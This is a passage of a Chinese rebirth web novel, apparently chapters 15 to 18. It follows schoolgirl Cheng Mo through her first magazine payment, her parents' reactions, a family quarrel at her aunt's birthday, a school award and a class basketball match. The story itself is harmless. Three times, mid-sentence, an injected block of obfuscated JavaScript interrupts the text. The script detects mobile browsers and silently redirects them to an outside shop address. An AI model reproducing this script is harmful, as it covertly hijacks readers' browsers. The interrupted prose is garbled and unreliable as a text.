《风吹过七月》的总字数大约在4000字左右，按照杂志社给出的稿酬——千字200元计算，最终程茉可以拿到800元。800元，在上一世的程茉工作后，不过是她每个月买衣服的开销。 但在现在，这笔钱对程茉而言已经算是一笔巨款了。更重要的是，这是她重生以来，靠自己赚到的第一桶金。 一旁期待已久的朱建华也凑了过来，问道：“怎么样？是文章过了对吧？刊登在哪里？快给我看一眼。” 程茉高兴地点头，打开其中一本杂志，翻到信上所说的位置，指给他看。 朱建华看到了标题下面的那行小字：江水镇一中707班程茉。他忍不住将手指轻轻放了上去摩挲了下，眼睛眯成了一条线。 是江水镇707班，是707班的程茉，是他的学生。 “好，真好！程茉，我马上去报告学校，让学校给你发奖。老黄，我们去跟校长申请，一定要在下周的升旗仪式上给程茉同学颁奖，还要给她申请一笔奖金！”朱建华拿着杂志，高兴得语无伦次。 黄仁咧开嘴应和：“都听你的，快让我也看看！” 程茉没想到还有这么一个意外之喜。听到“奖金”两个字，连他话里提到的要在全校同学面前被颁奖，好像也显得不那么可怕了。她连忙乖巧地感谢了两位老师一番，又被拉着殷勤叮嘱了好一会儿，翻来覆去的好好学习、继续写作之类的话，然后才终于被放回了教室。 坐到座位上的时候，周若玥注意到了程茉手上的书，便顺嘴问了一句：“是借来的新杂志吗？好看不？等你看完了可以借给我看吗？” 程茉正在心里思考着要不要提前将这个消息说出来，班主任黄仁已经拿着那本被留下的杂志踏进了教室。 黄仁站在讲台上，举着手里的杂志，对着全班同学高声说道：“同学们，老师今天刚刚得到了一个喜讯：我们班程茉同学写的文章，在杂志上发表了！” 霎那间，所有人的目光又聚集到了程茉身上。 黄仁接着说道：“这不仅仅是程茉同学一个人的荣耀，也是我们707班，甚至是我们江水镇一中的荣耀！我希望我们每一个人都能够向程茉同学学习，在保证自己成绩的同时，还能够发挥出自己的特长，为班级争光，为学校争光！” 在黄仁激动的语气感染之下，教室里自发响起了一片掌声。 周围的同学都扭着脑袋，带着惊奇的目光看着程茉。饶是程茉已经做了足够的心理建设，此刻被这么多人盯着，也忍不住有些不自在起来。 好在宣布完这个消息，黄仁又接着让同学们拿出课本来，开始上课了。大家也不得不暂且收起自己的好奇，将注意力转回课堂。 接下里的几天，杂志在教室里转来转去，直到周五放学前才回到程茉的手里。程茉也并没有放在心上，比起这本被传阅的杂志，她更关注手里那张薄薄的汇款单。 周末一到，程茉早早就起来吃了早饭，收拾好自己，拿着汇款单去了镇上的邮局。她并没有将钱全部取出来，而是将其中的500块汇给了程兰，上次寄合同的时候，她就默默记下了程兰的地址。 从镇上回来后，程茉在Q/Q上给程兰发了信息，一边分享了自己文章刊登的好消息，一边提醒她注意查收汇款单。因着这第一桶金带来的振奋，程茉一鼓作气，在周末就把网上连载的小说存稿收了尾。接下来的一个月只需等着存稿箱自动更新完就行。 而后，程茉开始仔细浏览起网站的热门榜单来，一本本研究着当下受欢迎的文章类型，心里渐渐有了主意：下一本书就写宫斗背景里的种田文吧，再给女主安排一个系统当金手指，题目就叫《宫斗哪有种田有趣》好了。 随着新书大纲一点点完善，程茉的心也变得格外充实，仿佛已经能看到故事里的情节在眼前慢慢铺展开来。 夜幕降临，苏萍回到家，刚走进厨房准备看看晚饭好了没，就瞥见水池边放着一袋饱满圆润的黄桃，她皱了皱眉，拿起来掂了掂，奇怪地问道：“哪里来的黄桃？” 客厅里正看电视的程莉听到母亲的问话，连忙关了电视，快步跑进厨房，眼睛直盯着塑料袋里那黄澄澄的桃子，咽了咽口水道：“是二姐买的。” 苏萍手里的动作一顿，疑惑更甚，声音也提高了些：“程茉？她哪来的钱？上次去省城剩下的30块，她不都给我了吗？” “这我就不知道了。二姐说等你们回来才能吃……现在可以吃了吗，妈妈？” 苏萍没好气地瞪了程莉一眼，将袋子又放了下去：“吃吃吃，就知道吃！你作业写完了没？” “我昨天下午一回来就写完了！二姐说了不写完作业不能看电视的，我可听话了呢。” 苏萍顿了一下，又继续板着脸道：“写完了不还可以去看书吗？你看你二姐多自觉。” “比来比去的，以前也没见你们多喜欢二姐。”程莉在后面小声地嘟囔了一句。 什么也没听到的苏萍走进女儿们的房间，看到电脑前正噼里啪啦敲击键盘的程茉，放低音量叫了一声。 “怎么了？”程茉停下手，转头看向母亲，随即补充道，“饭我已经煮好了，菜也在灶上热着呢，是可以吃饭了吗？” “嗯，等你爸回来就吃。”苏萍应了一声，又问，“我是想问你，那些桃子是怎么回事？” 程茉哦了一声后回答：“我之前在杂志投稿的文章被录用了，就用稿费买了些水果。” 轻描淡写的一句话，却让苏萍愣在原地，理解了好半天。 “什么稿费？你的意思是你的文章发表了？印到书上了？所以你现在是作家啦？”苏萍的声音陡然升高，不可置信的语气里藏着无法抑制的期待。 程茉轻轻摇了摇头：“还不算作家，也没有多少钱，总共就几百块，我给姐姐寄了一部分去，剩下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16535896|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就拿了一点出来买了这两斤黄桃，家里也好久没吃水果了。” 听到这话，苏萍脸上的神情瞬间复杂起来，喃喃道：“几百块钱……我跟你爸两个人辛苦一天也就200块钱。”说着，她又往前凑了凑，眼神里满是期待：“文章印在哪里？我能看一下吗？” 程茉将杂志翻到印了她文章的那一页递给母亲，又坐回电脑前继续打字。 苏萍没有读过多少书，不是她不想读，是他们家供不起。苏萍的上面还有三个哥哥和两个姐姐，父母都是地里刨食的农民。在他们那一辈人的观点里，女孩子读书是没有什么用的。所以苏萍初一刚上了半个学期，就被父亲叫回家帮忙了。苏萍平时是不爱看书的，比起书来，还是电视剧更有意思更好懂一些。 但此刻，苏萍拿着手里的杂志，把那篇文章看了又看，即便不是很能理解程茉想要表达什么。她只是发自内心地觉得，这些被印出来的文字真美啊。 “站在这干嘛，不吃饭了啊？”程林生走上楼来，换了凉拖，一边敲打着手里雨鞋上冻结的水泥，一边奇怪地看了眼站在电视机旁拿着本书翻来翻去的苏萍，“平时让你多看书也不见这么积极。” 苏萍习惯了他的阴阳怪气，只兴奋地将手里的书页举到他眼前：“你看！” “什么东西？风吹过七月……这种酸里酸气的文章我才不爱看！”程林生瞄了一眼，并不感兴趣。 “我叫你看下面的名字！”苏萍咬牙切齿地瞪了他一眼。 程林生有点不耐烦，眯着眼睛又看向下面哪行小字，一边念了出来：“江水镇一中……707班……程茉……程茉？！” 听到程林生骤然提高的声音和仿佛石化般的表情，苏萍脸上浮现出一个得意的笑来：“是程茉，你的女儿。” 程林生睁大眼睛，一字一句地看完了那篇文章，那些在他曾经看来只是“为赋新词强说愁”的文字，仿佛忽然之间长出了生命一般，带着密密麻麻的刺，一根根地扎进了他的心脏。 “怎么样？” 程林生看向出声询问的苏萍，注意到那双灰蒙蒙的眼睛里，此刻正闪烁着多年未见的光彩。他第一次觉得自己在这个家显得有些格格不入，最后只问了句：“稿费多少？” 苏萍笑得更开心了：“比我们两今天赚得可多得多。” “也还行吧，先吃饭吧。” 饭后，苏萍拿了两个桃子削好皮切开来，分成了四份，又将剩下的用塑料袋继续装好放进了那台轰轰作响的老冰箱。 “明天你姐过生，”苏萍咬了一口手中的桃，不知是被酸得还是被甜得，眯了下眼睛，“你带她们两个过去，顺便把那袋桃子带上。” “我去干嘛，你带着孩子去就行了，我跟他们又说不来。”程林生三两口将半个桃子啃得干干净净，又嗦了嗦桃核，语气里带着些厌烦。 苏萍早料到他会这么说，但这一次，她却莫名地不想妥协：“那是你姐！明天我要去卖鸭子，你要让我去也行，你自己去把鸭子卖了！” 果然，一听到卖鸭子，程林生就哑口无言了。 16. 第 16 章 得知第二天要去三姑家吃饭后，程茉晚上躺在床上又一次翻来覆去地睡不着觉了。 程茉家是几乎不和亲戚来往的，即便他们家亲戚很多，且大部分就住在一个村里。除了嫁到隔壁市的二姑之外，这个时期为数不多走动得稍勤一些的就是三姑和二姨了，她们两家相邻，住在村尾，离程茉家有些距离。 在程林生和苏萍因为交不出计划生育罚款连家里的家具都被搬走时，也只有这几位姑姨家站出来借了钱帮忙。 同苏萍一样，程林生也是爷爷奶奶最小的孩子，且还有七个兄弟姐妹，三个姐姐四个哥哥。 不同之处在于，爷爷奶奶都是二婚，且都在前一段婚姻里就已育有一个孩子。 程茉那从未见过的大姑就是奶奶的第一个孩子，被留给了前夫。小的时候听父母说，大姑早年曾提了好些礼物找来过村里，却被奶奶给骂走了，连带东西也被扔了出去。 就在大姑默默捡了东西离开村里的路上，正好碰上了程林生从外面回来。那是他们姐弟两的第一次见面，也是唯一一次见面，可惜相见不相识，等程林生回到家，才从街坊邻居的闲话里知道那是谁。 说起这段往事时，程林生的语气没有任何起伏，还不谙世事的程茉却听着莫名的难过，以至于多年以后再想起，依然仿佛亲眼见过般历历在目。 程林生讨厌走亲戚，程茉亦然，尤其是在奶奶过世以后。 作为唯一一个在程茉出生后还活着的祖辈，奶奶对程茉还是挺不错的，早年新房还没建好时，程茉也跟着奶奶住过一段时间——在二伯家分出来的一个窝棚里。 程家的祖宅很大，但并不属于奶奶，在爷爷过世时每一间房就都被瓜分干净了，只有当时年纪小还未婚的程林生什么也没有。 提到亲戚，程茉的脑海里就会自动浮现说话总阴阳怪气的伯伯们，和常用防强盗小偷般的警惕眼神盯着她们姐妹几个的伯娘，偏偏他们几家就住在附近，抬头不见低头见的。 至于二姨和三姑家，小的时候程茉也是很爱去玩的，可以蹭到家里没有的零食不说，还能跟着大人一起看租来的山歌剧碟片，算是程茉为数不多的娱乐方式了。 直到姑父和姨父的冷嘲热讽传到程林生耳朵，程茉被狠狠打了一顿，之后除了过年或一些重要的日子，她就都不怎么过去了。 连带着那些原本快乐的记忆，也都被蒙上了一层阴影，让她哪怕是再面对曾经很亲近的二姨和三姑，也不自觉多了份小心翼翼。 “二姐，你干嘛翻来翻去的啊，被子都被你卷起来了。” 身旁传来程莉含糊不清的抱怨，程茉叹了口气，将被子理顺，规矩躺好，强迫自己放空思绪。 月光透过窗户照了进来，仿佛一层轻纱，温柔地覆在女孩微蹙的眉头。 “妈妈你不去吗？” 清早醒来就惊闻今天只有程林生带她们去姑姑家吃饭的程莉，伸手拉了拉苏萍的衣角，犹犹豫豫地问道。 苏萍挑起鸭子，瞟了她一眼：“一大家子全跑去干嘛，又让别人笑话你们家连口吃的都要蹭？你中午吃饭也收着点，别看见啥跟饿死鬼投胎一样。” 许是瞥见了程莉松开手后低垂下的头，苏萍往外走的脚步顿了一下，没好气地抛下了一句：“你听话一点，等我回来给你们带一个篮子蛋糕。” 程莉立马抬头重重嗯了一声，有些微红的圆眼睛里瞬间亮起了光。 从家里到村尾要走十分钟左右，程茉将右手提着的那袋黄桃换到左边，脚下的步子却依旧慢慢悠悠。 只是程茉唯独忘了，村里只有这一条水泥马路，难免要遇上熟人的。 “哟，林生，你赚大钱了啊，还舍得买袋桃子去呢。” 程茉循声望去，认出是四伯程志生，旁边的四伯娘王玉莲也看了过来，眼珠子在程茉手里的袋子上滴溜溜打转。 “呵，我哪有那本事，这是小茉用她写文章发表的稿费买的，说是要带去感谢她姑前几年借钱让她上学呢。”程林生掀起眼皮看了他们夫妻一眼，拖长声音答道。 程志生张大了嘴，一双小眯缝眼射出精光，盯着程茉；“小茉写文章发表了？我们程家这是要出个女状元啊！不得了，不愧是大学生的女儿噢！” 听到大学生三字，程林生的脸色顿时黑了几分，他哼了一声不再接话，脚下的步子迈得更大了些。 程茉和程莉也只得加快脚步跟了上去。 “哎呀，林生你来了啊，小茉小莉快进来坐！”三姑程美英正站在门口和其他人寒暄，一看到他们立马笑着招呼道，又看向程茉：“小茉长高了吧，人也变漂亮了。” 程茉带上习惯性的职业微笑，乖巧应答，又将手里的水果递给她：“姑姑，祝你生日快乐。” “姐你赶快接着啊，这可是你侄女写文章拿的钱给你买的，人家要当大作家的，这桃你供起来说不定以后还能跟着发笔大财呢。”紧赶慢赶也终于到了的程志生气还没喘匀就立马大声嚷道。 “真的啊，小茉你还在上初中吧，这么小就写文章还赚到钱了啊？”一旁的表姐童璐惊奇地看着程茉。 程茉还没来得及解释，程林生却先开口了：“小打小闹赚了几百块而已，我是说她还是得专心学习，以后不说考Q大B大，至少也得上个十大名校吧。” 童璐讪笑了下，不知如何接自己小舅这有点狂妄招人恨的话，只得又看着程茉：“小茉成绩还挺好的吧，又有才华，以后肯定是有出息的。” 偏程林生就仿佛读不懂脸色一般，继续发表自己的高谈阔论：“也就还行吧，这次考试只考了个全校第二，要是心思都放在学习上的话，总不至于差那几分。” “要我说林生你还是别对侄女成绩要求那么高，女孩子呢，反正都要嫁人的，还是要脾气好一点嘴巴甜一点。这平时见了我们几个伯娘也不叫人的，别以后考上了大学见到老师也是这样哦。” 一道略有些刺耳的尖利女声响起，程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542068|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茉看过去，女人细长的眼睛上挑着，尖而窄的下巴，翘起的嘴角带着丝讥诮的笑，旁边站着的圆脸男人拉了拉她的胳膊，小声嘀咕：“你少说两句吧。” 程茉先认出了二伯程东生，而后才确定了女人的身份——二伯娘李艳红。她是二伯后娶的妻子，嫁过来的时候还带了一个儿子。 “嫁什么人！我程林生的女儿是要靠自己的本事考大学赚大钱的，你以为谁都像你一样就靠男人在地里累死累活养着？”程林生怒气冲冲地高声嚷着，“养着你就算了，还得养着你那个天天躺在家里的废物儿子！” 李艳红毫不相让，甩开程东生挽起袖子，长长的指甲指着程林生骂道：“程林生你疯了吧！生不出儿子就骂我儿子是吧？我告诉你，你这辈子就是没儿子的命，你就算再生十个也是赔钱货！” “你那废物儿子给我我也不要！”程林生气得脸红脖子粗，推开过来拉架的程美英，“我话放这了，你们谁的儿子也不可能比我女儿有出息！” 自己儿子就在屋里坐着的程美英顿时也有些手足无措了，她将求救的目光望向程茉，又似乎猛然意识到程茉也不过是个十三岁的小女孩，立即移开了视线。 程茉木然地站在那里，听着那些刺耳的骂声从耳朵穿过，仿佛自己又变成了曾经那个无助的小女孩。直到她感觉到程莉的小手死死地拽着自己的手心，湿漉漉的。 压下心头的千思万绪，程茉沉下声音开口道：“爸，你别忘了把红包给姑姑。”又转向几个伯伯，伯娘，“今天姑姑过生日，大家别都只顾着站在这里吵架了，等会饭菜都凉了。” “对呀对呀，我都饿了，姑姑，我们什么时候切蛋糕啊？”听到姐姐的声音，程莉松了口气，连忙仰起头来望着姑姑，用孩子特有的清亮语气问道。 童璐笑着走过来牵起程莉：“哎呀，我们小莉想吃蛋糕了啊，来来，表姐带你进去切蛋糕，几位舅舅舅妈也都赶紧进来坐吧。” 仿佛这时才忽然记起今天是什么日子，自己是来干嘛的程林生从兜里掏出红包，塞到程美英的手里，又一言不发地往屋里走去，路过程东生和李艳红旁边时还哼了一声。 “你看他！我嫁给你真是倒了八辈子霉了，好不容易伺候走了你那老不死只偏心小儿子的妈，现在还要被你弟欺负……”李艳红用力拍了程东生一下，开始哭啼。 程东生望着前方侄女小树一般挺直的背影，一向唯唯诺诺的他莫名心里涌起一股火，朝李艳红低吼了一声：“别闹了！还嫌不够丢人是吧！” 或许是因为刚才的那场冲突，这顿生日饭吃得格外安静，只有切蛋糕时几个小孩子的欢呼声显得热闹一些。 所有人客客气气又有些别扭地吃完饭说了些祝福的话就准备散场各回各家了，程茉紧绷的心神也终于得以喘口气，却没想到，刚走出大门，一个染着红色爆炸头的年轻男子骑着摩托车停在了她面前。 “哎呀，小茉妹妹，好久不见啊！要不要跟哥去玩去？” 17. 第 17 章 程茉看着面前小混混一样的鬼火青年，想起了上一世第一次见到这个表哥时的心情。 那时刚刚考完小学毕业考的程茉，和程莉因为姐姐寄回来的一台收音机使用权大吵了一架，程莉一气之下决定跟着自己的好朋友离家出走。 直到傍晚父母回家还不见程莉的身影开始着急起来，因为生闷气始终沉浸在本子上画画的程茉才意识不对劲。然后她在书桌上找到了程莉留下的日记本，上面歪歪扭扭的字夹杂着几个拼音写着： 【我讨厌打人的爸爸妈妈！讨厌二姐！我再也不要dai在这个家里了！只有刘思思和我玩，可是她也好可lian，没有爸爸妈妈还要被叔叔shenshen打，我决定了，我要和刘思思一起离家出走，离开这个没有爱的地方！】 等程茉父母赶到刘思思家一问，她叔叔婶婶也才意识到人不见了，再在家里仔细搜查过，发现卧室枕头下和柜子里藏着的几百块钱也已不翼而飞。 之后就是满村的搜寻，连村后的小山都翻了一遍，还是不见人，直到父亲去镇上找过才从别人那听到消息，说下午看到有两个小孩上了去市里的汽车。 那时送父亲去镇上的就是眼前的表哥，二姨的儿子王浩伟，听说初中没读完就去隔壁G省打工了，学了两三年理发手艺后在市里开了家店，平时很少回村里来。 那个晚上，正好归家的王浩伟听到消息送程林生去镇上回来后，看到了红着眼睛的程茉，还凑到她身边安慰了两句，并往她兜里塞了十块钱。 当时刚被父亲气急败坏地威胁说程莉要是真丢了，就休学挂着牌子去市里车站天天找人的程茉，并没有心情去关注这个第一次见面的表哥，只勉强记得他那一头张扬的红毛和凑过来时身上浓郁的香水味。 “哟，这是记不得我啦？去年我还去过你家呢。”王浩伟又笑着将视线下移到旁边睁着一双大眼睛好奇望着自己的小女孩，“你就是程莉吧？哈哈，小不点现在还想离家出走不？” 听到这话，程莉立马瞪起双眼，仿佛一只炸毛的小鸡，大声朝他嚷嚷：“我才不是小不点！才……才没有离家出走！我只是……只是去找我大姐而已！” 王浩伟哈哈笑了起来：“对，是我记错了，你是去找小兰迷路了，才被好心人送进警察局的是吧？” 程莉的离家出走之旅在当天晚上就结束了，刘思思带着她到了市里后，找了一家小旅馆打算先睡一夜再去坐火车，结果被旅馆的老板娘报警送去了警察局，然后就连夜通知了家里人。 第二天上午是程兰从学校赶过来把程莉接走的，带着她在市里玩了两天，又跟父母三令五申回去后不能因这事打她，才哄得程莉愿意回家。 黑历史被再次提起，程莉涨红了脸，不想再搭理他，只急急忙忙地拉了拉程茉的袖子：“二姐，我们快回家吧，不要和这个坏人说话。” “小莉，这是浩伟表哥，不是坏人。”程茉多少还是感激王浩伟当时的帮忙的，“表哥，我们还要回家写作业，就不去了，下次我们去姨妈家再找你玩。” “哈哈，好，有机会去市里找我，我给你设计个专属发型！”王浩伟说完又骑着摩托车扬长而去，留下一阵烟尘。 程茉望着那渐渐消失的一点红色，眼前却不禁浮现出后来表嫂离世后他留着寸头胡子拉碴的憔悴模样。 算了算，表嫂明年才嫁过来呢。程茉在心底叹了口气，低头拉了拉程莉：“我们走吧。” “二姐，他怎么知道我离家出走的事的啊？”程莉小声地询问。 “你都进警察局了，村里谁不知道啊？当时还是表哥送爸爸去镇上找你的呢。所以说，以后可不许再冲动了知道吗？” “知道了知道了。以后不许再提这事了！”程莉恼羞成怒地用力扯了一下二姐的手，只是想到后来再也没见过的刘思思，头又低了下去。 听说刘思思被她叔叔婶婶送去G省打工了，只比自己大三岁的刘思思，现在在做什么呢？打工很累吧？还会和以前一样吃不饱饭吗？但至少应该不会有她堂哥那样的坏人用火钳烫她的手了吧？ “好了，我当时也有错，不该和你吵架还不理你。以后我们有什么事都要立马说出来好吗？”程茉看着有些低落的程莉，摸了摸她的头轻声道。 “嗯。”程莉握紧了姐姐的手，重重地点头。 回到家里，程莉立马就看到了饭桌上的粉色花篮小蛋糕，所有的情绪便即刻被开心取代，她放开程茉的手，冲到桌前，小心翼翼地拎起蛋糕，转头喊道：“二姐，妈妈真的买蛋糕了！” 程茉走过去，看着那个手掌大小的粉红色塑料小花篮，透明的塑料盖下，是植物奶油雕出的彩色玫瑰花，只要三块钱一个，却是此时难得出现在家里的奢侈甜品。 尝了一口后，那难以化开的黏腻奶油仿佛黏住了舌头和整个口腔，程茉将它推回给妹妹，表示自己不吃了。 可以独享整个蛋糕的程莉便更加开心了，她吃得津津有味，连盒子底部沟壑里一点奶油都舔得干干净净。 每当这种时候，程茉就忍不住有点羡慕她。但有得必有失，比起再难体会到童年美食的遗憾，还是亲手改变的新人生更让她向往。 周一早上八点，明媚却不刺目的阳光照耀下，程茉和所有人一起站在一片青一片黄的操场上，看着那面红旗在响亮的歌声里缓缓升起。 仪式过后，是校领导讲话。 “……接下来我要宣布一则表彰通知。我校707班的程茉同学，撰写的文章《风吹过七月》被《致少年》杂志录用，并已在最新一期成功刊登。学校非常鼓励这种发挥自身才华展现个性特长并为校争光的行为，特此对程茉同学予以全校通报表彰，并奖励现金200元，希望程茉同学能再接再厉，也希望全体同学能向她学习……” “程茉，有奖金诶！” 身后传来了一句方慧慧的小声欢呼，程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548813|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茉仰头，看见主席台边站着的语文老师正朝她露出一个灿烂的笑容。 “……现在请程茉同学上台领奖！” 校长那总是无波无澜重复着陈词滥调的声音在今天听起来似乎格外振奋，程茉望向那个不过两米多高的小主席台，走出队伍，一步一步迈向前方。 经过教师队伍时，江倩小声对她说了句：“程茉你真棒！继续加油！” 程茉笑着朝江老师点了点头，快步踏上了主席台。 总是板着脸的校长此刻正慈眉善目地笑望着程茉，手里拿着一张奖状和一个信封。 “祝贺你程茉同学，也希望你不骄不躁，再接再厉，成绩写作两手都抓牢！” 程茉接过奖状和信封，鞠躬道：“谢谢校长，也谢谢学校的支持，我会继续努力的！” 在响亮的掌声中，程茉捧着奖状笑容明媚的样子被旁边老师手里的相机永远记录了下来。 “接下来，由教务处朱主任宣读五一书画征文活动获奖名单。” 程茉刚回到班级队伍，就看见语文老师踏上了主席台，接过主持人手里的话筒，开始中气十足地念起了名单。 “……五一征文一等奖：707班程茉同学！二等奖703班……707班许少杰……” “果然又有你哈哈，程茉你真是神了！”方慧慧再也抑制不住自己的激动，往前迈了一步凑到程茉身边小声说道。 周围的窃窃私语也变得更嘈杂了一些。 之后朱老师又宣布了书法和绘画部分的获奖名单，林然然的书法作品拿了一等奖，徐逸则是二等奖。绘画林然然也拿到了二等奖，程茉和周若玥一样都是三等奖。 获奖人数不少，学校就没再安排单独领奖，只是叫各班班长代表上台领取。 一回到教室，程茉课桌周围就站满了人。 “程茉，这是你的奖状和奖品。”许少杰将两张奖状和两个厚度不同的硬皮笔记本递给程茉，又找出周若玥的，“这是你的。” “我们班这次获奖的人好多啊！我刚刚看台上就许少手上的笔记本摞得最高了。”陈晓萱站在位置上，点着手指一个个数着。 “我们这都不算什么，程茉，你快打开信封，是不是真有两百块啊？”周若玥一脸期待地看着程茉手里的信封。 程茉放下手里的奖状和笔记本，打开信封，里面确确实实是两张红色的钞票。 “嘶！真是钱啊！两百块呢！”大家一阵惊叹。 这个时候班里谁手上能一次性拿出五十块钱都算相当富有的了，毕竟每天的零用钱都要贡献一大半给小卖部。至于红票子，也只有过年收压岁钱时能拿到手里了，但那也只是在兜里过一圈，不到第二天就会被父母以各种理由收走。 “程茉，恭喜你啊。” 程茉抬头，就看见前桌的徐逸转了过来，正看着自己。 “哦~”周围响起了一小片轻轻的起哄声。 18. 第 18 章 程茉低头，继续慢慢地将钱又塞回信封，不咸不淡地回了一句：“谢谢，也祝贺你书法作品获奖。” 上课铃声响起，众人坐回了自己的位置，转过去之前，徐逸又看了眼程茉，依然只望见了她覆在眼睑上的小扇子一样的睫毛。 大概是早上程茉那句回复确实显得有些过于冷淡，下午自习课程茉就被梁晴戳了戳后背递上了一张纸条。 【你和徐小逸怎么了？】 看着纸上亲昵的称呼，程茉想如果是前世，自己一定又要开始独自黯然神伤了。 梁晴第一学期曾和徐逸坐过一段时间同桌，她是个没什么距离感的人，徐逸又正好长得秀气，性格也温柔，一向都和女生相处得更好，还因此被一些男生暗地里取过“娘娘腔”之类的外号。 两人的关系很快就亲密了起来。用梁晴的话来说，徐逸算是她的“闺蜜”。 但对从来没有过男性朋友的程茉来说，这种友谊是难以理解的。她只会在看到梁晴逗弄徐逸上下其手的时候，心里别扭地难受。 一方面，程茉隐隐意识到自己在嫉妒梁晴可以正大光明地与徐逸亲近，另一方面，她又时不时为自己对好朋友产生嫉妒的阴暗心理感到内疚不安。 不过，现在的程茉只会心如止水地在纸上写下：【没事啊，本来就只是普通同学。】 看到回话的梁晴却愣住了，虽然从来没有问过，但她也基本知道程茉是喜欢徐逸的。她正要继续追问，耳边就传来了班主任的声音： “梁晴，你出来一下。” 梁晴被吓了一跳，慌忙将纸条揉了起来攥进手心，站起来走了出来。 而同样听到了班主任话语的程茉，也下意识地心脏漏跳了一拍，忍不住开始猜测纸条被班主任看见的话会有什么后果。 好在梁晴很快就回来了，程茉抬头看着她，见她脸上的表情满是轻松，甚至还隐隐有些兴奋，才终于松了口气。 到底还是被吓了一跳，两人都不再做小动作，安静地写起了作业。 但等下课铃一响，程茉还是忍不住转头问梁晴：“班主任叫你出去干嘛？” “你猜？”梁晴狡黠地一笑，故意歪头看着程茉不说话。 想到梁晴还是体育委员，程茉试探着问：“是有什么体育活动吗？” “唉，小茉茉你太聪明了，真的一点都不好玩。”梁晴夸张地大叹气，又接着高兴地提高音量道：“黄老龅说月底七年级要举行男子篮球比赛！” 听到这话，旁边的两三个男生立马围了上来，激动地问：“篮球比赛？怎么比？” 梁晴便将赛制简单解释了一下：“黄老龅说的是每班选五个男生组成一个队伍，八个班一共分成四组分别打一场，赢的四个班再分组抢前四名，输的四个班则竞争后四名。” 听到是只有男生参加的篮球比赛，程茉顿时就没什么兴趣了，尤其是她还依稀记得，前世她们班好像每一场都输了来着。 接下来几天，梁晴便开始天天追着人报名参加比赛了，加上递补至少得确定7个人，但目前主动来报名的却只有四个。 正对着班级名册苦思冥想时，梁晴忽然注意旁边走过的瘦长身影，连忙拉住他求救：“李颂，你也去参加吧？” “啊？我不太会打，还是算了吧。”李颂摇了摇头拒绝道，“要不你还是叫孟宏宇去吧，他还挺厉害的。” 梁晴看向自己后面正低头安静算着数学题的孟宏宇，脸不自然地红了下。她当然知道孟宏宇是很适合去的，他长得很高，体育课上长跑时也总是跑在前列。 但再大大咧咧如她，在面对自己暗恋的男孩子时，也顿时变得胆小了起来。 “我不去，没啥意思。”孟宏宇头也不抬，继续在草稿纸上刷刷列着竖式。 再次被梁晴用恳求的目光盯着的李颂，不禁有些为难地挠了挠头。 “程茉，语文练习册这道阅读题你怎么答的啊，可以跟我讲一下吗？” 前方传来了徐逸的声音，随后是程茉耐心的讲解。李颂望过去，忍不住想最近徐逸可真是爱往后转啊，就和小学时的自己一样，要是程茉也和小学时一样霸道就好了。 梁晴跟着李颂的目光回头看了一眼，嘴角勾起笑，小声地对他说：“去吧去吧，到时我们班所有女生都会去给你们加油的哦。” “所有女生”几个字被咬得格外重了一些，连带着孟宏宇也从数学题中抬起了头。 “你要是想去参加的话，我也可以陪你去。”孟宏宇看了眼李颂，淡淡地丢下了这么一句。 梁晴的眼睛立马便亮了起来：“好了，就这么说定了，我把你们两个名字都写上去了，不许反悔了啊。” 之后梁晴凭着自己的三寸不烂之舌和软磨硬泡的功夫终于又拉了一个人进来，七班的篮球队就这么组好了。 “小茉茉，等会大自习我们班与三班第一场篮球比赛，我们一起过去吧！” 正专心解题的程茉被耳边忽然响起的声音吓了一跳，看着整个人趴在课桌上将头伸到自己肩膀上来的梁晴，有些哭笑不得地将她推了回去：“知道了，我把这道题写完就走。” 毕竟是第一场比赛，班主任也特地要求了，所有人没特殊情况都要去篮球场给自己班加油打气。程茉虽然不太感兴趣，也没有非要特立独行的打算。 “好了吗好了吗？快走快走，马上开始了！” 程茉刚停下笔，梁晴便立马过来拉上她就跑。等到了地方，周围已经站满了学生。 梁琴拉着程茉挤进自己班几个熟悉的女同学中，一边喘气一边抱怨：“还好还好，差一点没赶上开场，小茉茉你都一点不着急的。” “梁晴，你说怎么就没有女子篮球比赛呢？”程茉忍不住感叹了一句，“要是你参加的话，我肯定第一个跑过来用最大的声音给你加油。” “啊？估计是没有几个女生会打吧……”梁晴想了想随口解释，“感觉大部分女生都不太喜欢运动，你不也是吗？” 程茉反思了下以前的自己，确实如此，便点了点头：“你说得对，这样不行，以后有机会你教我打篮球吧。” “你真要学啊？”梁晴有些不可置信地盯着程茉。 说不定还能因此再长高两公分呢。想到这，程茉的语气都郑重了几分：“对啊，下次体育课我们就去练习篮 